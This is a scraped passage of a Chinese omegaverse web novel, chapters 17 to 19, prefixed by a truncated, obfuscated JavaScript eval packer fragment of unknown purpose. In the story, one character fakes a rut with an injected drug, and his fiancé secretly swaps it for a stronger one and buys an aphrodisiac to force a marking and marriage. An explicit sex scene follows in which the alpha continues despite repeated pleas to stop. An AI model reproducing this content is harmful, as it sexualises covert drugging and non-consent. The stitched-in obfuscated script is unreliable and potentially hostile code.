;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆则接过箱子拿起药瓶确认了下要命,然后扣好,“行,知道了。” 这两种东西是提前易感期的药物,这个世界在有些重要事情与易感期与发情期撞上偶尔会选择药物控制提前或推后,不过一般情况下也没人这么干,药物肯定是有后遗症的,易感期发情期紊乱一段时间都是常规操作,就算注射也都在医院进行不会自己注射。 毕竟事关腺体。 他用易感期和婚礼打算的日子撞上要提前为由向常综要来了这个药。 当然,他并不打算将易感期提前,而是打算在身体可以代谢掉的为前提的程度下注射一些模仿出类似易感期提前的样子。 他打算在这种情况下在婚礼前标记完成剧情,虽然是迫于完成剧情的不得已之举,他还是打算给自己套点甲。 送走常综他转身回来,因为有人到访很羞怯窝在卧室不肯出来的宋知许探了个头出来,看了眼陆则手里精致的小箱子,“什么东西呀?” “嗯?”陆则神情自然的拎着箱子往书房走,“强效抑制剂,市面暂时没发行。” 宋知许默不作声跟在他身后看陆则妥善的把箱子放好,若有所思的看了眼,“什么时候发行呀?已经临床了?” 陆则嗯了声抱着他往外走,宋知许自然的抱着他的肩膀顺着他的动作,又看了眼关上的书房门。 强效抑制剂? 17、第十七章 “晚上想吃什么?”陆则维持着刚才的动作拥着他往厨房走,宋知许也扶着陆则的肩膀顺着他的脚步倒退。 宋知许感觉到了要去的地方明知故问,“去哪里吃啊?” “就在家里。”陆则从他的肩膀上探出手打开冰箱看里面的食材,食材不算多,这几天大部分都被陆则用过,他挑拣了一些蘑菇菜什么的。 宋知许很流畅的在他怀里转了一圈接过陆则手里的菜,“我来做吧~”他一只手拿着菜另一只手去推陆则,“你去休息就好了。” “我今天很累么。”陆则站在那不动反问他,“还是你比较累一点。” “我今天什么都没做呀。”宋知许正准备拿着菜去清洗,陆则下一句话却让他一瞬间从头红到脚。 “今天你被亲的看起来很累,一直推我。”陆则想了下又补充,“还总是呜呜咽咽。” 他猛地瞪大眼,张着嘴似乎想控诉陆则又实在说不出口,最后也只是弱弱重复,“是你太用力了,我舌尖都破了。”他大概想增加自己话里的可信度,说完就吐出一点比其余地方红的明显的舌尖给他看,舌尖吐出一点说话也有些含糊,“喏,你看……” 陆则对他的控诉没反驳,反倒是一声不吭站在那看宋知许的脸又看舌尖,他被看的脸更红了点,正当宋知许后知后觉想收回那点艳红的舌尖时陆则似乎察觉到了他的意图,很快的伸手用两根手指捏住脸颊卡住了对方后槽牙处,宋知许被迫张着嘴,还是下意识把那点舌尖收了回去。 “吐出来。” 宋知许眼神游离,眼神从陆则脸上挪开落在旁边看地板看天花板就是不看陆则,抖着很急的呼了口气还是很听话又羞怯的吐出一点舌尖。 有些痛的舌尖很快挨蹭到了柔软又凉的嘴唇,下一秒又被含着很轻的嘬了下,陆则从舌尖嘬到嘴唇,手指捏着脸颊的姿势不是很方便,于是捏着的那只手自然而然的扣上了他的脖子,另一只手揽上后腰往自己这里拽了拽,两人之间本来就没有多少的间隔这下更是严密贴合。 陆则若有若无的挨蹭他,“朝我吐舌尖干什么,嗯?” 宋知许理直气壮的抱紧他的脖子,“……给你看伤口啊。”他说着说着又不是很理直气壮了,很坏心眼的看了陆则一眼又吐了下。 陆则那条揽着他腰的手臂收的更紧了,“又吐舌尖?干嘛啊宝贝。”他说着又要凑上去亲宋知许的嘴唇,宋知许故意猛的一仰头不给他亲,看见他亲了个空笑的不行,他蹲在原地看了宋知许半秒,奔着刚才的方向重重落下继续亲他的脖子,重重亲了几下又换成轻轻的啄吻,宋知许很痒,缩了下脖子不让他亲,差点被亲到嘴唇又赶紧躲开。 陆则又很安静的看了几秒,这么几秒在此刻就显得很长,就在宋知许怀疑是不是有些逗过了,打算主动亲亲他哄一哄,但朝后绷紧的脖子稍微有点软化放松的迹象就被陆则扣着后颈很凶的亲上来。 “张嘴。”陆则哄他,“嗯?张嘴。” “你轻一点。”宋知许很不放心的安顿,“舌头破了真的很痛,我想吃辣。” 这次亲的很温和,宋知许抱紧他的脖子乖乖张开嘴回吻,思绪都被这个过分温柔的吻亲的混沌,一只手灵巧的掀起他的衣摆探入,从他的后腰一路摸上脊背,宋知许很紧张的绷着劲,攥紧陆则肩膀的衣服等他下一步动作,但陆则就是简单的摸了摸又温和的亲了亲把他给放开了。 等亲完好久陆则都开始洗菜做饭宋知许还是黏糊糊的贴在他后背,偶尔踮起脚尖把脸贴在他的肩膀上作小鸟依人状,陆则备好菜要开火了,摸了摸那颗黏在自己身上的脑袋,“要开火了,你先出去吧,躺会儿或者看手机,三个菜大概半个小时好。” 宋知许很想贴着再温存温存,做饭他也会,油烟什么的也不怕,但他还没忘了自己要干什么,哼哼唧唧撒了下娇还是出去了。 …… 厨房不是半开放式,不好观察陆则在干嘛,相应的他在干嘛陆则也不算很清楚,他再次看了眼陆则没怎么犹豫的往书房走,书房门关着,他试探着压下门把手。 ……没锁? 真是强效抑制剂? 陆则放那个小箱子并没有避着他,宋知许很轻松的就找到箱子打开,里面放置了三支针管和两小瓶液体,他拿起一瓶看了下,上面大概是药物学名,很复杂很长的一串,宋知许只是粗略打量了下拿出手机将药物名字输入搜索框开始寻找。 但却没有找到跟这个药名一样的药。 他在大海一样的信息里寻找自己的想要的,最后视线落在了那么几条上,那几条药物的名字与这个小瓶上写的东西很相似,不同是这个小瓶上多了苯喇海明四个字。 找不到一摸一样的他只好去检索类似信息,他大致浏览了下,网络上现存的消息对此类注射药物的作用大概关键词就是‘易感期’、‘发情期’、‘提前’、‘延后’等,粗略阅读也不难看出这大概就是某种为了生活中方便而发明的特效药。 那陆则为什么要注射这个? 想提前?还是延后? 宋知许心里大概有了答案,却又不是百分之百确定,这事对他来说或许是个好事,只要陆则完全标记他这桩婚事能走到结婚的概率几乎有95%。 他想了想把一切都恢复原状再次摸到厨房抱上陆则,“快好了吗?” 陆则正拿着筷子尝生熟,又夹了一片递到他嘴边,“你尝尝?” 宋知许嚼了嚼送到自己嘴里的蘑菇,夹着嗓子发出吃到好吃的食物夸张的声音,“哇塞~好好吃啊,好鲜,你怎么做饭也这么厉害呀~” “鲜么?” 宋知许连连点头表示蘑菇鲜的快香掉舌头。 “鲜就行。”陆则笑了下,“我放了一袋鸡精不鲜才有问题。” “啊?”宋知许表情呆了下,嘴里的蘑菇咽也不是吐也不是,抱着一丝侥幸,“放一袋鸡精会苦吧?” 陆则努努嘴去盛蘑菇,宋知许一看他这个样子就知道刚才又是在开玩笑,哎呀了好几声,“不要逗我了!” …… 两人吃饭都不慢,宋知许的洗漱用品陆则早准备好了,他打算自己先去注射点试试水,于是就让宋知许先去洗澡。 绿色小瓶里的液体被吸出来,虽然常综说第一次可以注射5ml,但陆则心有顾虑只用了3ml。 他到底不是从小生活在abo世界里的alpha,这个腺体也不知道是系统怎么造出来的,他已经不是第一次感觉到自己要比在这里生活长大的alpha对信息素敏感很多,对他们来说适用的5ml对他来说不一定适用,少用一点先试试。 3ml的液体被注射,陆则把针管扔掉,等把一切都收拾好躺上床已经过去了两个小时,宋知许躺在一边一副睡着了的样子,陆则轻手轻脚上去躺下,床稍微晃了下,宋知许又往陆则身边挨蹭抱住了陆则肌肉线条十分好看的胳膊,他似乎对捏起来相当不错的手感爱不释手,把陆则的胳膊上下都捏了一遍。 黑暗中看不清哪里有注射的痕迹,宋知许没找到怀疑是不是在另一个胳膊或者像注射抑制剂那样可以从脖子注射时手指下摸到了一个很小的似乎结痂的地方,他再次摸了摸,又在黑暗中眯着眼仔细的看,确认就是一个注射后的痕迹这才放开了陆则。 宋知许紧张的吸了口气,把被子往上拽了拽安静的等待。 不管是第一次与一个alpha同床共枕还是知道对方注射了可以将易感期提前或延后的药物都让他紧张。 他等了很久,但今天确实很累,宋知许实在熬不住想着先睡算了,陆则要是易感期真提前了还打算标记他肯定会把他弄醒的。 他睡着了,陆则并没有睡着,自从注射后他的腺体就在微微发烫,偶尔也鼓鼓的跳,他觉得脑袋有点晕,开始庆幸自己减少了药量,毕竟他只是想模拟出易感期来临的样子而不是真的想成一个没有理智的野兽发疯。 他安静的等着,信息素已经开始控制不住外泄,躺在床另一侧已经睡着的宋知许睡的不安稳起来,就在陆则觉得这个样子应该差不多时,那股发烫又眩晕的感觉却慢慢消失了。 陆则:“?” 刚才还控制不住的信息素此刻规规矩矩的收好,发烫的腺体恢复正常,他有点懵的想这药起效这么快代谢的也这么快吗? 陆则在那躺了会儿,掏出手机给常综发消息询问,没有注意到一直闭着眼的omega慢慢睁开眼眼里全是疑惑,他在那等常综的消息,却感觉宋知许抱上了他的腰,声音里带着困倦,“你刚才怎么了呀,信息素那么浓,我还以为你易感期来了。” 陆则:“……没有。” “就算有也没关系呀。”宋知许的脑袋放在他的胸膛上,“要是真的易感期到了有我呀。”他笑了,边说话边观察陆则的神情,“我们反正是要结婚的啊。” 陆则脸上的神情看不出排斥或愿意,他把脸埋在陆则胸前,“你什么时候娶我呀?” 陆则一时片刻没有给出回答。 因为在原剧情中陆则一直没有给过对方明确的结婚日期,宋知许全程都处在柳暗花明又暗又明的状态,他踌躇着给予明确日期是否会对后期造成严重崩坏,只是沉默的这几秒宋知许好像明白了什么,撑起身体看起来很委屈,“为什么不说话呀,难道你要是完全标记了我也不打算娶我么,一年?还是两年?” “……当然不会。” 宋知许紧紧攥紧了床单,偏着脸不去看他,又瞟了眼书房的方向像是下定了某种决心。 哪有这么好的事啊,不允诺结婚日期,又亲又摸又抱的,什么便宜都让陆家占了? 宋知许死死皱着眉重新躺下,安静的等着陆则入睡。 那两瓶药,换了吧?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 18、第十八章 刚才那股像是易感期的感觉消失后陆则也不敢马上再补第二针,他计算了时间定了一个第二天下午的闹钟补针就准备入睡,旁边宋知许早在刚才就用背对着他,稍微蜷缩着身体好一会儿没动像是睡着了,现在已经快十一点,闹了一整天陆则把手机一扔也闭上眼准备睡。 不知道过了多久,其实也没有多久,陆则还没睡着,刚才背对着自己躲的远远的身体就凑了上来,宋知许时不时捏捏他的胳膊,捏捏肩膀,然后又枕上来抱紧陆则的腰,闹了好一会儿见陆则没有反应抱的更紧了,晃了晃他,“你睡这么早呀?” 陆则没有反应他问的更大声了,“你真的睡着了啊?” 陆则眼皮动了动伸手把被子往他身上一盖又一卷控制住他不让他动,“睡觉。” “你没有睡着为什么不理我。”宋知许卷在被子里问他,“不要被子,好热。” “怎么理你?”陆则问他,“这样?”作势又准备亲上来。 宋知许大惊失色的一只手捂一张嘴,把两人的嘴都捂的严严实实,“我嘴上有磁吸石吗?” 陆则很不明显的笑了下,就算捂着他的嘴宋知许从眼睛也能看出他在笑,那只手挡不住陆则往过凑,他凑过来,亲着他的掌心,顶着他的手,宋知许两只手的手背蹭了蹭。 宋知许:“……” 凑的太近他的眼睛没法聚焦,他看不清陆则脸上的表情,对方动作有一种自然而然的亲昵,这太容易让他有种被爱的错觉,这二十多分钟辗转反侧他还是忍不住再次询问陆则,“你什么时候娶我呀?” 陆则愿意允诺就是好的,哪怕许下的诺言无法实现都比连许诺都吝啬强太多。 如果陆则愿意许下承诺他也不愿意出下下策换掉他的药,那只是在对方吝啬许下结婚的诺言时利用易感期对方不清醒导致的完全标记下的一种逼迫与破罐子破摔。 宋知许迫切的想要以最快的速度逃离宋家。 他不觉得不喜欢会做出那么自然亲昵的行为,可如果喜欢为什么对婚事避而不谈呢? 宋知许不明白。 他很委屈,心脏酸酸涩涩的抱紧他,“你什么时候娶我呢?我不想跟我妈一起待着了。” 陆则没吭声。 宋知许:“……” 他慢慢绷紧嘴唇,鼻子很快一酸,眼睛里弥漫着水雾,难以克制的抽噎了两下把声音全咽下去,很直白的询问,“那你什么时候标记我啊?” 一个omega这么询问,几乎是某种极其直白露骨的上/床邀请。 陆则:“……你脑子里想什么呢。” 原剧情宋知许可从来没主动要求过标记,abo世界完全标记下吃亏受伤的只会是omega,随着时代思想开放是开放,但在标记这件事上omega都十分慎重。 既然宋知许主动要求他当然可以不去制造易感期的假象顺着杆子去标记他——但宋知许真的想要标记么? alpha易感期强行标记了omega,哪怕是自己已经定下婚约的omega跟小o主动求标记相比完全是两种不同的结果,如果是前者理亏的是陆家,哪怕是面子上宋知许也会得到好处,后者就不一样了。 宋知许无论从性别还是地位都是毋庸置疑的弱势方,陆则还是决定按照自己原来的节奏走。 宋知许吸了下鼻子,“要是你标记了我拖着不娶我我就出去大声嚷嚷。” 陆则:“???” “我出去嚷嚷让你以后没脸做a。” “嗯嗯嗯。”陆则连嗯了三声摸了把他的脑袋让他睡觉。 “你是不是不想娶我。”宋知许不肯睡,“你不想标记我是不是怕我缠上你甩不掉。” “你不想娶我亲我干嘛?”宋知许委屈的要命,“我嘴都被你亲肿了!” 寂静的房间安静了几秒,宋知许只能听到自己吸鼻子的声音,温暖的臂弯把他揽回去,头发被揉了揉又按进怀里,“瞎想什么,戒指都收了。” 宋知许更难过了,那可是一千五百万啊——陆则要是想追回完全可以追回,又不是他的! …… 宋知许紧张的手都在抖,他反反复复看换进药盒里的两个小瓶子,生怕被陆则看出来换过药。 那人劝阻的话一直在耳边嗡嗡响,他脑子乱的厉害,实在不知道自己这个做法到底对不对。 那个夹着烟的omega眯着眼仔细打量了一会儿照片里的两瓶药,这药临床已经结束但市面上还没有,据说也贵的要命,还是他成天捣鼓跟药打交道才在偶然间听过药名,“从哪拍的啊,这药?” “我的alpha那里。”宋知许收回手机。 omega嚯了声,扬起眉啧啧了两声,“有钱人啊,怎么攀上的?”他问完又觉得这话问的很多余,还能怎么攀上的?一看眼前这个omega这么惹人怜爱的脸不就知道了么。 他失去了兴味,把烟捻灭,眼前这种omega他见多了,攀高枝做梦想嫁进豪门实现跨越阶级,扎破套的,趁易感期要标记的,下药的无所不用极。 不过就是眼前这个omega气质好一些,也漂亮看起来还年轻,但估计也是个平头百姓出身,有权有势的omega何必屈尊降贵亲自来他这儿买呢? “你照片里那俩还没在市面上流通开,我也就听过,注射比例到底是多少、药物不良反应什么的我不清楚,我不建议你在里边掺东西。”omega语气很平淡,“真往里加东西搞出事到时候把人弄死了你就老实了,不如直接把药掉包了。” 宋知许也顾虑这个,“掉包?” omega嗯了声拿出两个大小差不多上面药名一样的小瓶,“你那不是有两个瓶子么,都换掉,他注射哪个效果都一样,这玩意儿能让alpha易感期提前,别人手里的是三代,我这儿是四代。”他看了眼偏瘦的宋知许难得起了点好心,“你想要终身标记逼婚啊?我跟你说,现在这些二代都不吃这套了,你威胁一个试试,不给你脱一层皮才有鬼了。” 宋知许伸手去拿瓶子,“之后会被看出来么?” 那个omega见劝不动也不劝了,他又不是菩萨,把那个两个小瓶往他面前一推,“不会,要是能被看出来我也就别干了。”他重新拿了一个小瓶出来打开盖,“这种药物的瓶子都是统一生产,你翘这里瓶口不会损坏,别硬翘。翘坏了一眼就被看出来了。” 宋知许点点头,“钱我转你了。” 那个omega拿出一个密封小袋,里面装着拇指大小一个正方形小块,他捏了捏那玩意儿就像橡皮泥似的变了形状,“这个当送你的,助/兴的,想让生效快一点就直接点了,要慢一点就持续加热让它自己慢慢化掉。” “记得处理掉哦。” …… 空气中弥漫着淡淡的香味,客厅很安静,宋知许能听到浴室里传来的哗哗水声,他抱着双膝蜷缩在沙发上,觉得家里太过安静干脆打开手机音乐软件随便点开一个歌单选择了外放。 音乐不能转移他的注意力。 陆则大概半个小时前进了次书房,按道理来说应该已经初步出现了症状,可他像是个没事人一样该干嘛该干嘛,这个澡已经洗了快二十分钟还没有出来。 他很想静下心好好坐在沙发上以不变应万变,可他在此刻显然没有那么大的耐心,几分钟看了好几次手机勉强等手机又放完一首歌就从沙发上起来步伐匆匆的靠近卧室门。 他走的很快,越靠近卧室门就释放出一点信息素去试探,可里面很安静,没有水声,也没有陆则的信息素。 门被打开的悄无声息,两人早上起床就没有拉开床帘,陆则只开了最外面一圈的暖灯,卧室很暗,宋知许踌躇着走近浴室推了下虚掩着的门,门吱呀一声被打开,混合着淡淡信息素的水汽扑面而来。 宋知许整个人呆住了。 地面上有水和泡沫,陆则之前很明显是站浴,此刻却泡在浴缸里闭着眼,双臂撑在浴缸外,像是泡太久睡着了,脸上没什么表情,见宋知许进来也只是睁开眼看了一秒又闭上,“出去。” 他的口气太冷淡,脸上也没什么表情,信息素外泄也不多,要不是水面过于清澈看得一清二楚宋知许真会以为他什么反应都没有。 ……明明这样了让他出去干什么。 宋知许深吸了口气,甚至没有顾得上害羞径直走到浴缸旁边蹲下,几乎把整个上半身都贴在了陆则的胳膊上,“你易感期了么?”陆则的胳膊是凉的,凉到甚至有点冰,于是他拉着陆则的手把他的手贴在自己脸上,“你胳膊好凉。” 陆则不吭声只是目光沉沉的看着他,摸着侧脸的手指动了动又停下动作,好一会儿才说,“出去。” “不出去。”宋知许拉着他的手轻轻亲了几下掌心,“不出去。” 陆则又闭上了眼,他憋的额角青筋直跳,蹲在旁边的omega还一直缓慢又持续的释放着信息素,想骂常综给的这个破药真给他搞出的易感期,可又是自己先减轻剂量乱用,想骂还是自己理亏只能憋屈的忍着。 宋知许一直拉着他的掌心亲亲碰碰,陆则重重喘了声,一直刻意压制着的信息素终于完全释放出来,唯一的承受者当然是宋知许。 从来没有接触过浓度这么高的信息素的宋知许猝不及防被扑了一脸,呼吸间就吸入了不少,本来就跳的很重的心脏此刻速度快了起来,他甚至可以自己听到咚咚咚的声音,过分快的心跳让他眼前一黑,脑子里嗡的一声在某一瞬间失去了对外界的感知。 直到被陆则掐着腋下拽进浴缸泡在冰冷的水里才恢复了意识,他骑在陆则身上,半个身体浸泡在冷水里,被冻的一个哆嗦,连忙撑着陆则的肩膀跪起来让自己尽量离开冷冰冰的水,陆则却拽着他的手腕屈膝一顶,湿滑的浴缸本来就难以维持平衡,被一顶他直接重重坐在了陆则腰上,压的陆则闷哼一声惊的他又要起来怕给陆则压坏了却被死死拉着没法再动。 在水里泡了一会儿就没那么凉,陆则抱着他往起坐了坐,宋知许滑了滑,感觉自己大概碰到了某个地方,脸红的要命,身边浓郁的信息素一直没停过,泡的他晕晕乎乎,坐在陆则身上他浑身僵硬,紧张的大腿的皮肉都在抖。 他不敢对上陆则红着的眼睛,里面不知道是情多一些还是欲望多一些,他不敢看,只感觉陆则用手指重重的摩挲他的嘴唇,一点点往里试探用指尖去玩他的舌尖,这样不算舒服,宋知许合着牙关想把他的手指抵出去,陆则的手指却挪到了他的嘴角,就这么扯着亲了上去。 唇齿相接气息交融,陆则吻的很重,手上的劲也不小,不允许宋知许有任何躲避的动作,alpha那种占有欲在此刻暴露无疑,陆则咬着他的嘴唇反复在他唇缝间舔舐流连。 宋知许被亲的又痒又燥,难耐的抓了抓陆则的后颈,本来就在刻意压制陆则终于长驱直入,嘴唇口腔柔软温热,宋知许闭着眼直哆嗦,信息素和亲吻都让他更加眩晕,他努力偏开头深吸一口气又立马被陆则追上,嘴唇发烫发热亮晶晶的。 他脑子发热,身体发烫,陆则也是这样,冷冰冰的水已经无法降低身体的温度,两人相贴的皮肤都散发着热气,唇齿间发出的声音听的他耳朵红的要命,陆则甚至在动作很轻的蹭他。 不知道这么抱着亲了多久陆则才放开,宋知许的目光好一会儿才聚焦,刚能看清眼前的景象就被陆则满是欲念的目光吓的一僵,目光里情/欲和侵略性太过浓郁,他好像已经被陆则的目光给扒光。 他吞了吞口水,对着看起来不太清醒的人试探着叫了声名字,“陆则?” 【删1】 宋知许:“!!!” 他惊叫一声下意识隔着衣服抱紧陆则的脑袋不让他再动,陆则腾出一只手按了下墙上的按钮浴缸里的水很快被排空,坐在他身上的宋知许被很轻松的兜着腰抱起来压在浴缸里,处于下方被压制的动作让宋知许本来就不剧烈的抗拒更加微弱,这更方便了陆则。 轻微的水声和奇怪的感觉一点不落的完全的被宋知许感知到,抓着陆则头发的双手此刻倒是想按着他的脑袋鼓励他继续做什么似的,他实在没脸听也没脸看,干脆松开他双手捂着滚烫的脸自欺欺人随他去了,现在宋知许只恨自己没有四条胳膊,两只手用来捂脸,两只手用来堵耳朵。 【删2】 本来还算清醒的脑子被灌入的信息素冲的七零八落,他有预感或许再多一点信息素注入也会让他被迫进入发情期,宋知许带着哭腔叫他的名字让他停下,彻底进入易感期的alpha似乎已经失去了理智,咬住他的腺体不肯松嘴。 宋知许抖着喘气,几乎没办法保持自己身体的平衡,本来受他控制均匀释放的信息素失控的大股大股释放,没有开启信息素净化的浴室里浓度过高的信息素交融刺激着宋知许的神经。 犬齿从腺体退出来很是留恋的舔舐伤口,揽在腹部的手臂松开了点,他浑身一软倒在陆则怀里,被他过分温柔的舔舐的动作几乎搞的昏昏欲睡,过多的信息素侵袭了他的理智与清醒,宋知许眼皮子都在打架,追寻着热源往陆则怀里钻,连什么时候被抱起放在床上都不清楚。 他背对着陆则侧躺在床上,陆则压在他身上亲他的腺体,这动作很温柔,本来就困意上涌的宋知许身体放松的躺着,陆则却舔着舔着又去咬,他似乎没料到刚才还异常温柔在亲吻的人突然变脸又用力咬上腺体,他浑身猛地一僵登时被咬走了所有困意,万分可怜的泄出一声哭声去挣扎,此刻咬着腺体的alpha不再温柔,他的半张脸都埋在床单里,所有的哭声都被床单吞没,只能被陆则按着烙下一个又一个临时标记。 陆则掰着他的肩膀把他翻过来,黑色的床单被宋知许哭出两个圆圆的痕迹,他的睫毛沾在一起一时半会儿没睁开眼,可怜的捂着眼睛抽噎,他的身上全是陆则的味道,像是被浸泡了很久,属于他的紫藤香被水果香中和了那份过于浓厚的味道,陆则埋进他脖子里闻,又和亲昵黏糊的蹭宋知许的脸,每蹭一下都兴奋的要命。 宋知许抽噎了会儿用手抹干净眼角的泪睁着眼看他,被顶了下才后知后觉正戏还没开始他就哭成了这个样子。 宋知许很害怕的去推他,“呜、我不做了……” 进入易感期的alpha怎么可能会听他的停下来,陆则没停却感受到了身下omega的害怕,本能的去安抚亲吻,短促的亲吻重复,“不怕不怕……” 他捏着宋知许绵软的脸蛋去亲他湿漉漉的眼睛,“不哭不哭……” 宋知许抽噎了两声不哭了,睁开眼就看到陆则眯着眼打量自己上身穿的那件薄薄的透气性很好的衣服,他缩了缩身体,本能的对现在满脑子都是原始欲/望alpha感到害怕。 陆则眯着眼打量,像是在用他那个现在不太能思考的大脑对付宋知许身上这件衣服,他看了几秒,伸手拽住宋知许的领口‘刺啦’一声扯了一半,本来就不堪重负的料子很轻松的被扯开,宋知许半个肩膀顿时裸露在他面前,陆则很满意的俯下身亲吻白皙的肩膀,而宋知许瞪大眼睛,整个人已经被陆则的动作给搞傻了。 他一会儿不会像扯烂这件衣服一样…烂他吧……? 他难以遏制的打起了哆嗦。 他不是什么都不懂的omega,像他们这样的omega平时私下当然会聊,但聊来聊去也都是口嗨。 可现在、可现在…… 宋知许满脸惊恐。 “陆则、陆则……”宋知许试图跟陆则对话,唤醒他的良知或是理智。 陆则也很配合的抬头起侧耳在他嘴边听。 “我真的怕痛。”宋知许说,“我会哭死的陆则,你轻一点慢一点……” 当然宋知许很快就发现陆则根本听不懂他在说什么,只是对他的名字有些额外的反应,不管他说多么长的一段话在陆则耳朵里大概就是——@#¥***陆则*&¥#¥¥陆则。 陆则亲着亲着就往下咬着不松嘴,宋知许被吸的想跑,很崩溃的说,“你咬完不要亲我!” …… 宋知许整张脸埋进枕头里,有些滑腻的触感在背上蹭,他被捏的很崩溃,尽量催眠自己不要回头看,腰窝每一个地方被来来回回蹭了一遍还是没忍住回头看了眼,看到的瞬间他没有丝毫犹豫抓着枕头要跑,这动作无疑惹恼了没有什么理智可言的陆则,他直起腰看宋知许跑,等他跑的差不多了又捏住脚腕拉回来,重新压上去逼问,“跑什么?” “不行不行,你这个不行。”宋知许摇着头连连拒绝,双手攥住床单又想把自己像拔萝卜一样拔出来,却被陆则将两只手腕并住控制在了前面,他好像完全不明白宋知许在怕什么,“跑什么?” 【删3】 他疼的要命直哆嗦,从没想过居然会这么疼,现在唯一的想法就是不惜一切代价保住自己的屁股,几乎一声接一声毫无间断的叫陆则的名字让他停下,陆则动作只是停顿了几秒就再次尝试。 宋知许要疼疯了,再多的信息素也不能缓解这种疼痛,他口不择言开始乱叫渴求alpha温柔一些,,“陆则!……老公、老公我痛……” 陆则动作微妙一顿,俯下身歪着头看他。 这声老公似乎取悦到了陆则,他脸上带着很明显愉悦的神色,凑上来贴着宋知许的侧脸,宋知许一看有戏,连忙讨好的亲亲他的下巴,跟他撒娇: “老公,真的好痛。” “你轻一点呀。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 19、第十九章 侧脸相贴着摩挲,嘴唇和高挺的鼻尖一路流连到沁着汗十分绵软的脖子,宋知许整个人都被陆则笼罩在怀里,温热的呼吸尽数喷洒在脖子上,陆则用力的在脖子上吮出一个红痕,反反复复的亲这一小块痕迹。 宋知许喜欢陆则亲他,他觉得很舒服,每一下好像都落在了他的心上,心也控制不住被亲的软软的,他伸手摸上陆则揽在自己腹部的胳膊轻轻的捏,又摸上他的手背从指缝里钻入跟他十指相扣,扣了没有几秒就被陆则拽着扯到唇边从掌心开始亲,亲完用牙齿轻轻磨手腕细嫩的皮肤。 他又动了下,或许是疼太久已经麻了,现在的痛感并没有多尖锐,于是宋知许咬着嘴唇忍耐,陆则的动作突然又停了。 涨涨的感觉消失,他憋在喉咙里的那口气松了下,绷紧的神经也松懈下来,不明所以侧头去看,却见陆则伸手摸了摸,“好小……” 他叹息着开口,“夹的有点痛,太小了。” 宋知许:“……” 宋知许一瘪嘴眼泪汪汪的控诉,“我更痛啊!” “是不是出血了?”宋知许把枕头当陆则扯,“怎么这么痛。” “没有,好好的。”陆则的手又落了上来,“太紧了。” 他换了只手轻轻揉捏宋知许的嘴唇,漫不经心的从干燥的唇上摸到温热的口腔,里里外外摸了遍才抽出手指。 宋知许吸了下口水捂着嘴唇,重新皱眉忍耐着黏腻奇怪的感觉。 …… 空气中甜丝丝的水果味一直往宋知许鼻腔里钻,他脸颊晕着红,被陆则扶着才勉强支撑住身体,让人脸红心跳的声音哪怕是他拼命去忽视存在感都极为强烈。 紧绷的身体骤然一松,陆则的指尖亮晶晶的,重新俯下身用鼻尖蹭他的侧脸含糊开口,“还痛么?” 宋知许看了一眼像是被烫到一样挪开眼睛,根本羞于看陆则,额头抵着床埋在双臂间连连摇头,“……不痛了、可以了。” 贴在身上的热源离开了一瞬间又重新贴回来。 “!”存在感强烈的东西让宋知许再次浑身僵硬了起来,他疯狂劝自己放松,劝来劝去反倒更紧绷了。 身后陆则又发出一声上扬的嗯,他胳膊很长,一伸手轻而易举就可以摸到宋知许的后颈,来回轻柔摩挲着让他放松,掰着他的脸去亲吻他的唇角,宋知许皱着眉,缓慢的吸气,终于在温水煮青蛙一样的动作下彻底放松下来。 【删1】 对方那张棱角分明的面庞从这个角度看依旧挑不出错,呼吸缓慢又沉重,居高临下的看他每一个表情,进入易感期似乎最大程度的激发了alpha的本能,他的脸上全是对于这个自己标记过的omega的独占欲。 陆则看着很不清醒,他盯着看了会儿小声开口,“陆则?” 陆则动作停了下。 宋知许又试着开口:“……老公?” 陆则又来亲他。 他有点高兴的抱着陆则脖子和他接吻,能叫停就好嘛,大家都说易感期的alpha暴力标记导致omega受伤入院的事情常有发生,谁说易感期的alpha都是野兽没法交流的,他的alpha就是不一样。 说一声就会停。 他兀自沉浸在自己的alpha实在不一样这种隐秘的得意的情绪中无法自拔,却丝毫没有注意到陆则始终在观察他的神色。 因为疼痛而发白现在却慢慢红润起来活色生香的脸,每一次因为陌生的感觉颤动的眼睫,无措又依赖的眼神全被陆则尽收眼底。 他呼吸沉重的拎起宋知许一条腿咬他的肉,细细的闻宋知许身上除了信息素以外那点只有紧贴着皮肉才能闻到的淡淡香气,陆则的鼻尖陷在肉里满足的喟叹,“好香。” 宋知许不自在的蜷缩了下脚趾,整个人都泛起了淡粉色,“……是信息素。” “不是。”陆则很笃定的说,恨不得把宋知许揉进身体里,他故意动了动,去听宋知许骤然变乱的呼吸,听他压抑在嗓子里的哼声,于是陆则毫不犹豫伸手捏着他的脸蛋,“张嘴。” 【删2】 陆则明显被他的声音搞的更兴奋,这种声音传到易感期的alpha还是一个头一次开荤的人耳朵里无疑是对方舒服的鼓励,他黏糊糊的在宋知许身上落下一个又一个吻,很均匀的在他背上吸来吸去。 宋知许被亲的直抖,抱紧枕头半阖着眼瞥向窗帘。 …… 拉好的窗帘挡住外面的一切光线,暖黄的色调更让人模糊了时间。 宋知许浑浑噩噩发着抖,昏暗的房间无法辨认时间的流逝,他不知道已经过去了多长时间,也搞不清楚自己到底是第几次晕掉又清醒过来,陆则彷佛不知疲倦,很兴奋的咬他的嘴唇侧脸肩膀锁骨……几乎是能看到的地方都被留下了牙印与吻痕。 过多的信息素交换行为逼出了他的发情期,但这只是假性发情,不会像真正的发情期时间那么长,在几个小时之前他就彻底清醒了过来。 他实在受不了崩溃的想逃,胳膊却软绵绵的使不上力气,连把自己从萝卜坑里拔出来的力气都没有。 他轻轻拍了拍陆则,陆则顿了顿停下了动作,宋知许几乎是瞬间整个人神清气爽感觉人生有了希望却在下一秒又被陆则抱起来面对面圈在怀里,他像抱小孩一样颠了颠,把宋知许软绵绵的两条胳膊搭在肩上,尤不满足的亲他。 过于长且不间断的晴事让宋知许实在疲惫不堪,他对于易感期alpha可怕的体力与精力才算是有了一个初步认知,腿肚子都酸的直打颤。 太深他喘不上气,豆大的泪珠一颗颗滚下来,宋知许哽咽着发出不堪重负的声音,“呜、不要了陆则……放我下来、不行。” 陆则的嘴唇就没离开过宋知许,边亲边含糊答应了声。 这声答应让宋知许稍微得到一些安慰,宋知许抽噎了下吸吸鼻子抱紧他等,可是明明答应好的陆则过了很久还是没有停下的意思,宋知许哭的眼睛红红,“陆则、好累……” 